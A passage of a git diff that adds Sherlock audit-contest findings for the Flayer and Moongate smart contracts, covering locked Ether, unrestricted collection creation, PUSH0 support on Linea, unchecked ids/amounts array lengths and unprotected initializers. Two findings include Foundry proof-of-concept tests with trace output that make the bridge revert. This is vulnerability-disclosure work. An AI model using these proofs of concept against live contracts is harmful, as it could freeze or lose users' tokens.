+The `AirdropRecipient` contract accepts Ether through the `requestAirdrop` function but does not include a function to withdraw Ether from the contract. This lack of a withdrawal mechanism results in Ether being locked in the contract indefinitely.
+
+## Vulnerability Detail
+The `AirdropRecipient` contract has a `payable` function named `requestAirdrop` that allows it to accept Ether. However, there is no corresponding public or external function implemented that allows for the withdrawal of Ether. This means that once Ether is sent to the contract, it cannot be recovered or used by anyone.
+
+## Impact
+- **Locked Ether:** Any Ether sent to the contract cannot be withdrawn or utilized. This results in funds being effectively trapped in the contract.
+- **Operational Difficulties:** The inability to withdraw Ether can lead to operational challenges if the contract or its owner needs to manage or recover the Ether.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/AirdropRecipient.sol#L85C5-L93C6
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+To resolve this issue, implement a function that allows for the withdrawal of Ether from the contract. This will enable the contract owner to manage or reclaim any Ether sent to the contract.
+
+For example:
+
+```solidity
+/**
+ * Allows the contract owner to withdraw Ether from the contract.
+ *
+ * @param amount The amount of Ether to withdraw
+ */
+function withdraw(uint256 amount) external onlyOwner {
+ require(amount <= address(this).balance, "Insufficient balance");
+ payable(owner()).transfer(amount);
+}
+
+```
\ No newline at end of file
diff --git a/037/594.md b/037/594.md
new file mode 100644
index 0000000..08cde1c
--- /dev/null
+++ b/037/594.md
@@ -0,0 +1,40 @@
+Puny Mocha Guppy
+
+High
+
+# H-7 Contract locks Ether without a withdraw function.
+
+## Summary
+
+## Vulnerability Detail
+It appears that the contract includes a payable function to accept Ether but lacks a corresponding function to withdraw it, which leads to the Ether being locked in the contract. To resolve this issue, please implement a public or external function that allows for the withdrawal of Ether from the contract.
+
+## Impact
+
+## Code Snippet
+2 Found Instances
+
+
+- Found in src/contracts/utils/AirdropRecipient.sol [Line: 28](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/AirdropRecipient.sol#L28)
+
+ ```solidity
+ abstract contract AirdropRecipient is IAirdropRecipient, IERC1271, Ownable, Receiver, ReentrancyGuard {
+ ```
+
+
+- Found in src/InfernalRiftAbove.sol [Line: 28](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L28)
+
+ ```solidity
+ contract InfernalRiftAbove is ERC1155Receiver, IInfernalPackage, IInfernalRiftAbove {
+ ```
+
+
+
+
+
+
+## Tool used
+
+Manual Review
+
+## Recommendation
\ No newline at end of file
diff --git a/038/063.md b/038/063.md
new file mode 100644
index 0000000..532b053
--- /dev/null
+++ b/038/063.md
@@ -0,0 +1,136 @@
+Small Azure Poodle
+
+Medium
+
+# Unrestricted Collection Creation Allowing Resource Exploitation and Platform Degradation
+
+## Summary
+The `createCollection` function lacks proper access control, allowing any user to invoke it and create a collection. This can be exploited by malicious actors to flood the platform with unnecessary collections, consuming resources and potentially leading to denial of service.
+
+## Vulnerability Detail
+The function is declared as `public`, allowing unrestricted access to any user. There is no access control mechanism to limit who can call this function.
+```solidity
+299: function createCollection(address _collection, string calldata _name, string calldata _symbol, uint _denomination) public whenNotPaused returns (address) {
+300: // Ensure that our denomination is a valid value
+---
+301: if (_denomination > MAX_TOKEN_DENOMINATION) revert InvalidDenomination();
+302:
+---
+304: if (address(_collectionToken[_collection]) != address(0)) revert CollectionAlreadyExists();
+305:
+---
+307: if (!IERC721(_collection).supportsInterface(0x80ac58cd)) revert InvalidERC721();
+308:
+---
+311: ICollectionToken collectionToken_ = ICollectionToken(
+312: LibClone.cloneDeterministic(tokenImplementation, bytes32(_collectionCount))
+313: );
+314: _collectionToken[_collection] = collectionToken_;
+315:
+---
+317: collectionToken_.initialize(_name, _symbol, _denomination);
+318:
+---
+320: implementation.registerCollection({
+321: _collection: _collection,
+322: _collectionToken: collectionToken_
+323: });
+324:
+---
+326: unchecked { ++_collectionCount; }
+327:
+---
+328: emit CollectionCreated(_collection, address(collectionToken_), _name, _symbol, _denomination, msg.sender);
+329: return address(collectionToken_);
+330: }
+```
+A malicious user could make arbitrary calls to `createCollection`, creating thousands of collections with random data. This could lead to network congestion, increased gas costs, and a messy platform environment.
+
+## Impact
+- Excessive collections can consume significant storage and processing resources, increasing operational costs.
+- High transaction volume from collections can lead to increased gas prices and slower transaction processing.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L299-L330
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Implement access control to restrict who can call the `createCollection` function. This can be achieved by introducing a modifier that checks whether the caller has the necessary permissions to create a collection. Also, consider implementing a cost for creating the collection to prevent spam.
+```diff
+// Add mapping to store approved addresses
++ mapping(address => bool) private approvedAddresses;
+
+// Modifier to restrict access to approved addresses only
++ modifier onlyAuthorized() {
++ require(isAuthorized(msg.sender), "Not authorized to create collections");
++ _;
+}
+
+// Function to check if the caller is authorized
++ function isAuthorized(address _caller) internal view returns (bool) {
+ // Logic to check if the caller is authorized
+ // For example, checking if the caller is a contract owner or an authorized address
++ return _caller == owner || approvedAddresses[_caller];
+}
+
+// Function to add approved addresses
++ function addApprovedAddress(address _address) public onlyOwner {
++ approvedAddresses[_address] = true;
+}
+
+// Function to delete approved addresses
++ function removeApprovedAddress(address _address) public onlyOwner {
++ approvedAddresses[_address] = false;
+}
+
+// Function to set the cost of creating a collection
++ uint public creationFee = 0.01 ether; // Example of cost amount
+
++ function setCreationFee(uint _fee) public onlyOwner {
++ creationFee = _fee;
+}
+
+function createCollection(address _collection, string calldata _name, string calldata _symbol, uint _denomination)
+ public
++ payable
+ whenNotPaused
++ onlyAuthorized
+ returns (address)
+{
++ require(msg.value >= creationFee, "Insufficient fee");
+
+ // Ensure that our denomination is a valid value
+ if (_denomination > MAX_TOKEN_DENOMINATION) revert InvalidDenomination();
+
+ // Ensure the collection does not already have a listing token
+ if (address(_collectionToken[_collection]) != address(0)) revert CollectionAlreadyExists();
+
+ // Validate if a contract does not appear to be a valid ERC721
+ if (!IERC721(_collection).supportsInterface(0x80ac58cd)) revert InvalidERC721();
+
+ // Deploy our new ERC20 token using Clone. We use the impending ID
+ // to clone in a deterministic fashion.
+ ICollectionToken collectionToken_ = ICollectionToken(
+ LibClone.cloneDeterministic(tokenImplementation, bytes32(_collectionCount))
+ );
+ _collectionToken[_collection] = collectionToken_;
+
+ // Initialise the token with variables
+ collectionToken_.initialize(_name, _symbol, _denomination);
+
+ // Registers our collection against our implementation
+ implementation.registerCollection({
+ _collection: _collection,
+ _collectionToken: collectionToken_
+ });
+
+ // Increment our vault counter
+ unchecked { ++_collectionCount; }
+
+ emit CollectionCreated(_collection, address(collectionToken_), _name, _symbol, _denomination, msg.sender);
+ return address(collectionToken_);
+}
+```
\ No newline at end of file
diff --git a/038/195.md b/038/195.md
new file mode 100644
index 0000000..a9013e5
--- /dev/null
+++ b/038/195.md
@@ -0,0 +1,36 @@
+Able Candy Crane
+
+High
+
+# Unrestricted Access to createCollection() Function
+
+## Summary
+The createCollection() function allows anyone to create a new ERC20 token associated with an ERC721 collection without access control. This opens the contract to spam attacks and resource exhaustion through repeated creation of collections, potentially leading to a Denial of Service (DoS).
+
+## Vulnerability Detail
+The function does not implement any ownership or permission checks, meaning that any user can create a collection by calling createCollection() without restriction. This allows malicious users to spam the system, causing gas consumption and filling up storage with unnecessary collections.
+
+## Impact
+The contract can be flooded with multiple collections, leading to increased gas costs and potential network congestion.
+The lack of restrictions could result in a bloated contract, making it difficult for legitimate users to interact with it.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L299-L330
+
+## Tool used
+Manual Review
+
+## Recommendation
+Implement access control to restrict who can call createCollection(). This can be achieved using OpenZeppelin’s AccessControl or Ownable:
+
+```solidity
+bytes32 public constant COLLECTION_CREATOR_ROLE = keccak256("COLLECTION_CREATOR_ROLE");
+
+constructor() {
+ _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
+}
+
+function createCollection(address _collection, string calldata _name, string calldata _symbol, uint _denomination) public whenNotPaused onlyRole(COLLECTION_CREATOR_ROLE) returns (address) {
+...
+}
+```
\ No newline at end of file
diff --git a/039/064.md b/039/064.md
new file mode 100644
index 0000000..2ef2c90
--- /dev/null
+++ b/039/064.md
@@ -0,0 +1,41 @@
+Shambolic Fuchsia Chicken
+
+Medium
+
+# PUSH0 opcode Is Not Supported on some L2s yet, `InfernalRiftBelow.sol` can't be deployed on them
+
+## Summary
+PUSH0 opcode is not supported on L2 chains like Linea
+
+## Vulnerability Detail
+According to contest readme Moongate will be deployed on any number of EVM-compatible L2 chains.
+'''
+On what chains are the smart contracts going to be deployed?
+
+**Flayer**
+_For the purposes of this audit, we will only consider Base as the target network._
+
+**Moongate**
+_Ethereum mainnet and any number of EVM-compatible L2 chains._
+'''
+
+`InfernalRiftBelow.sol` will be used to Handle the transfer of ERC721 and ERC1155 tokens from L2 -> L1.
+
+Now the issue here is that if the L2 is a chain like Linea where PUSH0 opcode isn't supported the contract is undeployable.
+
+The current code of `InfernalRiftBelow.sol` is compiled with Solidity version 0.8.26, which includes the PUSH0 opcode in the compiled bytecode. According to the [README](https://github.com/sherlock-audit/2024-08-flayer-AuditorPraise?tab=readme-ov-file#moongate), the protocol will be deployed on the EVM compatible network, which chains like Linea is among.
+
+This presents an issue because Linea does not yet support the PUSH0 opcode, which can lead to unexpected behavior or outright failures when deploying and running the smart contracts.[see here](https://docs.linea.build/developers/quickstart/ethereum-differences#evm-opcodes)
+
+
+## Impact
+Deploying the protocol on Linea with the current Solidity version (0.8.26) may result in unexpected behavior or failure due to the unsupported PUSH0 opcode.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L2
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+ use version 0.8.19 for chains like Linea that don't yet support PUSH0
\ No newline at end of file
diff --git a/039/381.md b/039/381.md
new file mode 100644
index 0000000..8812d14
--- /dev/null
+++ b/039/381.md
@@ -0,0 +1,26 @@
+Powerful Smoke Shell
+
+Medium
+
+# push0:: opcode is not supported on linea
+
+## Summary
+push0:: opcode is not supported on linea
+
+## Vulnerability Detail
+The current codebase is compiled with Solidity version 0.8.24, which includes the PUSH0 opcode . According to the `README` :: , the `Moongate` protocol will be deployed on the any L2 EVM compatible network
+[# Moongate ::> Ethereum mainnet and any number of EVM-compatible L2 chains.]
+
+This presents an issue because Linea does not yet support the PUSH0 opcode, which can lead to unexpected behavior or outright failures when deploying and running the smart contracts.[see here](https://docs.linea.build/developers/quickstart/ethereum-differences#evm-opcodes)
+
+## Impact
+Deploying Moongate on Linea with the current Solidity version (0.8.26) may result in unexpected behavior or failure due to the unsupported PUSH0 opcode.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L2
+
+## Tool used
+Manual Review
+
+## Recommendation
+Use version upto 0.8.19 to compile , for Linea.
\ No newline at end of file
diff --git a/040/076.md b/040/076.md
new file mode 100644
index 0000000..cdd3d48
--- /dev/null
+++ b/040/076.md
@@ -0,0 +1,371 @@
+Tiny Clay Ape
+
+High
+
+# Lack of check the `ids.length == amounts` leads to panic error `0x11` UnderFlow or overFlow Error.
+
+### Summary
+
+`crossTheThreshold1155()` function in InfernalRiftAbove.sol is used to sends the ERC1155 from L1 to L2 and the `ThresholdCrossParams` struct will be passed as the arguments
+```solidity
+ struct ThresholdCrossParams {
+ address[] collectionAddresses;
+ uint[][] idsToCross; // @audit check here
+ uint[][] amountsToCross; // @audit check here
+ address recipient;
+ uint64 gasLimit;
+ }
+```
+In above struct, array of idsToCross and amountsToCross are corresponding to each other.
+
+In below function we can see that without check it fills the Package struct it checks for the tokenAmount whether it has zero or not but as per ERC1155 doc ids should be checked
+```solidity
+ // Go through each collection, set values if needed
+ for (uint i; i < numCollections; ++i) {
+ // Cache values needed
+ numIds = params.idsToCross[i].length;
+
+
+ collectionAddress = params.collectionAddresses[i];
+
+ erc1155 = IERC1155MetadataURI(collectionAddress);
+
+ // Go through each NFT, set its URI and escrow it
+ uris = new string[](numIds);
+ for (uint j; j < numIds; ++j) {
+ // Ensure we have a valid amount passed (TODO: Is this needed?)
+ tokenAmount = params.amountsToCross[i][j];
+ if (tokenAmount == 0) {
+ revert InvalidERC1155Amount();
+ }
+
+ uris[j] = erc1155.uri(params.idsToCross[i][j]);
+ erc1155.safeTransferFrom(msg.sender, address(this), params.idsToCross[i][j], params.amountsToCross[i][j], '');
+ }
+
+ // Set up payload
+ package[i] = Package({
+ chainId: block.chainid,
+ collectionAddress: collectionAddress,
+ ids: params.idsToCross[i],
+ amounts: params.amountsToCross[i],
+ uris: uris,
+ royaltyBps: _getCollectionRoyalty(collectionAddress, params.idsToCross[i][0]),
+ name: '',
+ symbol: ''
+ });
+ }
+```
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L95C7-L121C1
+
+Here where the Panic error occurs in InfernalRiftBelow.sol in retrunFromThreshold
+```solidity
+
+ for (uint j; j < numIds; ++j) {
+ amountToCross = params.amountsToCross[i][j];
+ if (amountToCross == 0) {
+ IERC721(params.collectionAddresses[i]).transferFrom(msg.sender, address(this), params.idsToCross[i][j]);
+ } else {
+ IERC1155(params.collectionAddresses[i]).safeTransferFrom(msg.sender, address(this), params.idsToCross[i][j], amountToCross, '');
+ }
+ }
+```
+
+And in the doc of ERC-1155 also mentioned the transaction should be failed if ids not equal to values.
+https://ethereum.org/en/developers/docs/standards/tokens/erc-1155/#safe-transfer-rule
+
+### Root Cause
+
+Lack of check of the ids and amounts length in the `crossTheThreshold1155()` function leads to panic error.
+
+### Internal pre-conditions
+
+When user try to send a large transaction from L1 to L2 and again return from L2 to L1, there may be a chance of a mismatch in the token IDs or amounts. To prevent DOS attacks or loss of funds, this should be verified on L1. But here result in a panic error on L2 chains.
+
+### External pre-conditions
+
+If user try to send and return ERC 1155 tokens in same transaction the bridge may get DOS.
+
+### Attack Path
+
+1. User can send the tokens wise in batch L1 to L2 and L2 to L1 in same transction.
+2. If the length of the AmountsToCross and IdsToCross is not equal then the amounts other than mis match ids will get stuck because of the Bridge Panic error.
+
+### Impact
+
+1 . Loss of Funds
+2 . Dos of Bridge
+
+### PoC
+
+```solidity
+/* solhint-disable var-name-mixedcase */
+/* solhint-disable func-param-name-mixedcase */
+/* solhint-disable no-unused-vars */
+/* solhint-disable func-name-mixedcase */
+
+pragma solidity ^0.8.26;
+
+import 'forge-std/Test.sol';
+
+import {ERC1155Receiver} from '@openzeppelin/token/ERC1155/utils/ERC1155Receiver.sol';
+
+import {Test20} from './mocks/Test20.sol';
+import {Test721} from './mocks/Test721.sol';
+import {Test1155} from './mocks/Test1155.sol';
+import {Test721NoRoyalty} from './mocks/Test721NoRoyalty.sol';
+import {MockPortalAndCrossDomainMessenger} from './mocks/MockPortalAndCrossDomainMessenger.sol';
+import {MockRoyaltyRegistry} from './mocks/MockRoyaltyRegistry.sol';
+import {ERC721Bridgable} from '../src/libs/ERC721Bridgable.sol';
+import {ERC1155Bridgable} from '../src/libs/ERC1155Bridgable.sol';
+
+import {InfernalRiftAbove} from '../src/InfernalRiftAbove.sol';
+import {InfernalRiftBelow} from '../src/InfernalRiftBelow.sol';
+import {IInfernalRiftAbove} from '../src/interfaces/IInfernalRiftAbove.sol';
+import {IInfernalPackage} from '../src/interfaces/IInfernalPackage.sol';
+
+
+contract RiftTest2 is ERC1155Receiver, Test {
+
+ address constant ALICE = address(123456);
+
+ Test721 l1NFT;
+ Test1155 l1NFT1155;
+ MockPortalAndCrossDomainMessenger mockPortalAndMessenger;
+ MockRoyaltyRegistry mockRoyaltyRegistry;
+ ERC721Bridgable erc721Template;
+ ERC1155Bridgable erc1155Template;
+ InfernalRiftAbove riftAbove;
+ InfernalRiftBelow riftBelow;
+ Test20 USDC;
+
+ event BridgeStarted(address _destination, IInfernalPackage.Package[] package, address _recipient);
+
+ function setUp() public {
+
+ /**
+ - Deploy rift above
+ - Deploy rift below
+ - Deploy ERC721Brigable template and set with rift below
+ - Set rift below to use ERC721Bridgable
+ - Set rift above to use rift below
+ - Everything now immutable
+ */
+
+ USDC = new Test20('USDC', 'USDC', 18);
+ l1NFT = new Test721();
+ l1NFT1155 = new Test1155('https://address.com/token/');
+ mockPortalAndMessenger = new MockPortalAndCrossDomainMessenger();
+ mockRoyaltyRegistry = new MockRoyaltyRegistry();
+ riftAbove = new InfernalRiftAbove(
+ address(mockPortalAndMessenger),
+ address(mockPortalAndMessenger),
+ address(mockRoyaltyRegistry)
+ );
+ riftBelow = new InfernalRiftBelow(
+ address(mockPortalAndMessenger), // pretend the portal *is* the relayer
+ address(mockPortalAndMessenger),
+ address(riftAbove)
+ );
+ erc721Template = new ERC721Bridgable('Test', 'T721', address(riftBelow));
+ erc1155Template = new ERC1155Bridgable(address(riftBelow));
+ riftBelow.initializeERC721Bridgable(address(erc721Template));
+ riftBelow.initializeERC1155Bridgable(address(erc1155Template));
+ riftAbove.setInfernalRiftBelow(address(riftBelow));
+ }
+
+ function test_Length() public {
+ // Mint a range of ERC1155 to our user
+ l1NFT1155.mint(address(this), 0, 5);
+ l1NFT1155.mint(address(this), 1, 5);
+ l1NFT1155.mint(address(this), 2, 5);
+
+ // Approve all to be used
+ l1NFT1155.setApprovalForAll(address(riftAbove), true);
+
+ // Set our collection
+ address[] memory collections = new address[](1);
+ collections[0] = address(l1NFT1155);
+
+ // Set our IDs
+ uint[][] memory idList = new uint[][](1);
+ uint[] memory ids = new uint[](2);// @audit check here
+ ids[0] = 0;
+ ids[1] = 1;
+ //ids[2] = 2; @audit changed here
+ idList[0] = ids;
+
+ // Set our amounts
+ uint[][] memory amountList = new uint[][](2);
+ uint[] memory amounts = new uint[](3); // @audit check here
+ amounts[0] = 4; amounts[1] = 5; amounts[2] = 1;
+
+ amountList[0] = amounts;
+
+ // Set our domain messenger
+ mockPortalAndMessenger.setXDomainMessenger(address(riftAbove));
+
+ // Cross the threshold!
+ riftAbove.crossTheThreshold1155(
+ _buildCrossThreshold1155Params(collections, idList, amountList, address(this), 0)
+ );
+
+ // Get our 'L2' address
+ Test1155 l2NFT1155 = Test1155(riftBelow.l2AddressForL1Collection(address(l1NFT1155), true));
+
+
+ // Set up our return threshold parameters
+ address[] memory collectionAddresses = new address[](1);
+ collectionAddresses[0] = address(l2NFT1155);
+
+ // Set up our tokenIds
+ uint[][] memory tokenIds = new uint[][](1);
+ tokenIds[0] = new uint[](2);
+ tokenIds[0][0] = 0;
+ tokenIds[0][1] = 2;
+
+ // Set up our amounts
+ uint[][] memory tokenAmounts = new uint[][](1);
+ tokenAmounts[0] = new uint[](2);
+ tokenAmounts[0][0] = 3;
+ tokenAmounts[0][1] = 1;
+
+ // Approve the tokenIds on L2
+ l2NFT1155.setApprovalForAll(address(riftBelow), true);
+
+ // Set our domain messenger
+ mockPortalAndMessenger.setXDomainMessenger(address(riftBelow));
+
+ // Return the NFT
+ riftBelow.returnFromThreshold(
+ _buildCrossThreshold1155Params(collectionAddresses, tokenIds, tokenAmounts, address(this), 0)
+ );
+
+
+
+ // Bridge back with some of the prevously processed tokens to confirm
+ // that we use internal tokens before minting more.
+ idList = new uint[][](1);
+ ids = new uint[](2);
+ ids[0] = 0; ids[1] = 2;
+ idList[0] = ids;
+
+ // Set our amounts
+ amountList = new uint[][](1);
+ amounts = new uint[](2);
+ amounts[0] = 2; amounts[1] = 4;
+ amountList[0] = amounts;
+
+ // Set our domain messenger
+ mockPortalAndMessenger.setXDomainMessenger(address(riftAbove));
+
+ // Cross the threshold!
+ riftAbove.crossTheThreshold1155(
+ _buildCrossThreshold1155Params(collections, idList, amountList, address(this), 0)
+ );
+
+
+ }
+
+ function _buildCrossThresholdParams(
+ address[] memory collectionAddresses,
+ uint[][] memory idsToCross,
+ address recipient,
+ uint64 gasLimit
+ ) internal pure returns (
+ IInfernalRiftAbove.ThresholdCrossParams memory params_
+ ) {
+ uint[][] memory amountsToCross = new uint[][](collectionAddresses.length);
+ for (uint i; i < collectionAddresses.length; ++i) {
+ amountsToCross[i] = new uint[](idsToCross[i].length);
+ }
+
+ params_ = IInfernalRiftAbove.ThresholdCrossParams(
+ collectionAddresses, idsToCross, amountsToCross, recipient, gasLimit
+ );
+ }
+
+ function _buildCrossThreshold1155Params(
+ address[] memory collectionAddresses,
+ uint[][] memory idsToCross,
+ uint[][] memory amountsToCross,
+ address recipient,
+ uint64 gasLimit
+ ) internal pure returns (
+ IInfernalRiftAbove.ThresholdCrossParams memory params_
+ ) {
+ params_ = IInfernalRiftAbove.ThresholdCrossParams(
+ collectionAddresses, idsToCross, amountsToCross, recipient, gasLimit
+ );
+ }
+
+ function onERC1155Received(address, address, uint, uint, bytes memory) public pure override returns (bytes4) {
+ return this.onERC1155Received.selector;
+ }
+
+ /**
+ * @dev See {IERC1155Receiver-onERC1155BatchReceived}.
+ */
+ function onERC1155BatchReceived(address, address, uint[] memory, uint[] memory, bytes memory) public pure override returns (bytes4) {
+ return this.onERC1155BatchReceived.selector;
+ }
+
+}
+
+```
+
+### Mitigation
+
+Add below check in the InfernalRiftAbove.sol crossTheThreshold1155() function
+```solidity
+ if(numIds != params.amountsToCross[i].length) revert("something is wrong");
+```
+
+Output
+
+1 without above check panic error at InfernalRiftBelow
+
+```solidity
+ │ │ └─ ← [Return]
+ │ ├─ [3717] 0x094bb35C5C8E23F2A873541aDb8c5e464C29c668::safeTransferFrom(RiftTest2: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], InfernalRiftBelow: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], 2, 1, 0x)
+ │ │ ├─ [3513] ERC1155Bridgable::safeTransferFrom(RiftTest2: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], InfernalRiftBelow: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], 2, 1, 0x) [delegatecall]
+ │ │ │ └─ ← [Revert] panic: arithmetic underflow or overflow (0x11)
+ │ │ └─ ← [Revert] panic: arithmetic underflow or overflow (0x11)
+ │ └─ ← [Revert] panic: arithmetic underflow or overflow (0x11)
+ └─ ← [Revert] panic: arithmetic underflow or overflow (0x11)
+
+Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 5.58ms (959.58µs CPU time)
+
+Ran 1 test suite in 2.43s (5.58ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
+
+Failing tests:
+Encountered 1 failing test in test/TestLength.t.sol:RiftTest2
+[FAIL. Reason: panic: arithmetic underflow or overflow (0x11)] test_Length() (gas: 614121)
+```
+
+
+2. With above check reverted at InfernalRiftAbove only means L1
+```solidity
+ ├─ [4381] InfernalRiftAbove::crossTheThreshold1155(ThresholdCrossParams({ collectionAddresses: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], idsToCross: [[0, 1]], amountsToCross: [[4, 5, 1]], recipient: 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496, gasLimit: 0 }))
+ │ └─ ← [Revert] revert: something is wrong
+ └─ ← [Revert] revert: something is wrong
+
+Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 5.18ms (679.50µs CPU time)
+
+Ran 1 test suite in 1.17s (5.18ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
+
+Failing tests:
+Encountered 1 failing test in test/TestLength.t.sol:RiftTest2
+[FAIL. Reason: revert: something is wrong] test_Length() (gas: 155212)
+```
+
+Implement the above check in below functions which are also affected.
+
+InfernalRiftAbove.sol
+returnFromTheThreshold()
+crossTheThreshold1155()
+crossTheThreshold()
+
+InfernalRiftBelow.sol
+thresholdCross()
+returnFromThreshold()
diff --git a/040/136.md b/040/136.md
new file mode 100644
index 0000000..fa47b35
--- /dev/null
+++ b/040/136.md
@@ -0,0 +1,142 @@
+Tiny Clay Ape
+
+High
+
+# Lack of check `numIds != amountsToCross[i].length` leads to panic Error `0x32` array out-of-bounds access.
+
+### Summary
+
+function `crossTheThreshold1155()` is used to send the tokens from L1 to L2.
+
+In below code snippet we can see that there is no check of the numIds and amountToCross
+
+```solidity
+ for (uint i; i < numCollections; ++i) {
+ // Cache values needed
+ numIds = params.idsToCross[i].length;
+
+
+ collectionAddress = params.collectionAddresses[i];
+
+ erc1155 = IERC1155MetadataURI(collectionAddress);
+
+ // Go through each NFT, set its URI and escrow it
+ uris = new string[](numIds);
+
+ for (uint j; j < numIds; ++j) {
+ // Ensure we have a valid amount passed (TODO: Is this needed?)
+ tokenAmount = params.amountsToCross[i][j];
+ if (tokenAmount == 0) {
+ revert InvalidERC1155Amount();
+ }
+
+ uris[j] = erc1155.uri(params.idsToCross[i][j]);
+ erc1155.safeTransferFrom(msg.sender, address(this), params.idsToCross[i][j], params.amountsToCross[i][j], '');
+ }
+
+ // Set up payload
+ package[i] = Package({
+ chainId: block.chainid,
+ collectionAddress: collectionAddress,
+ ids: params.idsToCross[i],
+ amounts: params.amountsToCross[i],
+ uris: uris,
+ royaltyBps: _getCollectionRoyalty(collectionAddress, params.idsToCross[i][0]),
+ name: '',
+ symbol: ''
+ });
+ }
+```
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L151C8-L182C10
+
+The above loop which is used to allocate the package struct it have a check to only whether the tokenAmount is zero or not but not Token Ids. According the ERC1155 the amounts should equal to Token Ids before transfer happens.
+
+### Root Cause
+
+No Check of the `numIds != amountsToCross[i].length` in crossThreshold1155 function leads to panic error which could dos the normal process and loss of funds.
+
+### Internal pre-conditions
+
+If the user try to sends bulk transcation if they are any mismatch of the ids and amounts it will leads to exception error which disturbs the normal process of other transaction.
+
+### External pre-conditions
+
+Internal pre-condition applies here.
+
+### Attack Path
+
+1. User can send the tokens wise in batch L1 to L2 and L2 to L1 in same transction.
+2. If the length of the AmountsToCross and IdsToCross is not equal then the amounts other than mis match ids will get stuck because of the Bridge Panic error.
+
+
+### Impact
+
+1. Loss of the tokens.
+
+### PoC
+
+```solidity
+function test_Payable() public {
+
+ // Mint a range of ERC1155 to our user
+ l1NFT1155.mint(address(this), 0, 5);
+ l1NFT1155.mint(address(this), 1, 5);
+ l1NFT1155.mint(address(this), 2, 5);
+
+ // Approve all to be used
+ l1NFT1155.setApprovalForAll(address(riftAbove), true);
+
+ // Set our collection
+ address[] memory collections = new address[](1);
+ collections[0] = address(l1NFT1155);
+
+ // Set our IDs
+ uint[][] memory idList = new uint[][](1);
+ uint[] memory ids = new uint[](4); // @audit check here
+ ids[0] = 0;
+ ids[1] = 1;
+ ids[2] = 2;
+ idList[0] = ids;
+
+
+ // Set our amounts
+ uint[][] memory amountList = new uint[][](1);
+ uint[] memory amounts = new uint[](3);//@audit check here
+
+ amounts[0] = 4;
+ amounts[1] = 5;
+ amounts[2] = 1;
+ amountList[0] = amounts;
+
+ // Set our domain messenger
+ mockPortalAndMessenger.setXDomainMessenger(address(riftAbove));
+ uint256 BeforeGas = gasleft();
+ console.log("Before gas",BeforeGas);
+ // Cross the threshold!
+ riftAbove.crossTheThreshold1155(
+ _buildCrossThreshold1155Params(collections, idList, amountList, address(this), 0)
+ );
+}
+```
+
+Paste the above code in RiftTest.sol and run to considered this issue.
+
+### Mitigation
+
+Add the below check to mitigate in crossTheThreshold1155 function.
+```solidity
+if(numIds != params.amountsToCross[i].length) revert("something is wrong");
+```
+This issue is completely different from the issue panic error overFlow and Under flow error.
+
+Implement the above check in below functions which are also affected.
+
+InfernalRiftAbove.sol
+returnFromTheThreshold()
+crossTheThreshold1155()
+crossTheThreshold()
+
+InfernalRiftBelow.sol
+thresholdCross()
+returnFromThreshold()
+
diff --git a/041/299.md b/041/299.md
new file mode 100644
index 0000000..77b82b6
--- /dev/null
+++ b/041/299.md
@@ -0,0 +1,41 @@
+Funny Grape Ladybug
+
+High
+
+# Unprotected initializer functions will expose contract to unauthorized state changes
+
+## Summary
+Certain initializer functions in the smart contracts are not protected by access control modifiers. This oversight could allow unauthorized users or contracts to execute initialization logic, potentially altering the contract's state or functionality in an unintended manner.
+
+## Vulnerability Detail
+Initializer functions are crucial for setting up the initial state of contracts. When these functions are not protected by access control mechanisms, they can be called by unauthorized parties. This is particularly concerning if the functions perform critical state changes or setup operations.
+
+Several instances in the contracts include initializer functions like `initializeCollection` and `_guardInitializeOwner`, which lack proper protection:
+
+- `initializeCollection` functions in contracts such as `BaseImplementation.sol` and `UniswapImplementation.sol`.
+- `_guardInitializeOwner` functions in contracts like `CollectionToken.sol`, `Listings.sol`, and others.
+
+These functions are supposed to be called only once during contract deployment or initialization, but without protection, they could be exploited to manipulate the contract state.
+
+## Impact
+**- Unauthorized State Changes:** Without proper protection, unauthorized parties may call initializer functions, potentially changing the contract's state in ways not intended by the developers.
+**- Compromised Contract Integrity:** The contract could be left in an inconsistent or insecure state if critical initialization steps are altered.
+**- Potential Exploits:** Attackers could exploit unprotected initializers to gain control over contract functionality or data.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/CollectionToken.sol#L136C4-L139C1
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L999
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/LockerManager.sol#L67C1-L69C6
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L521
+
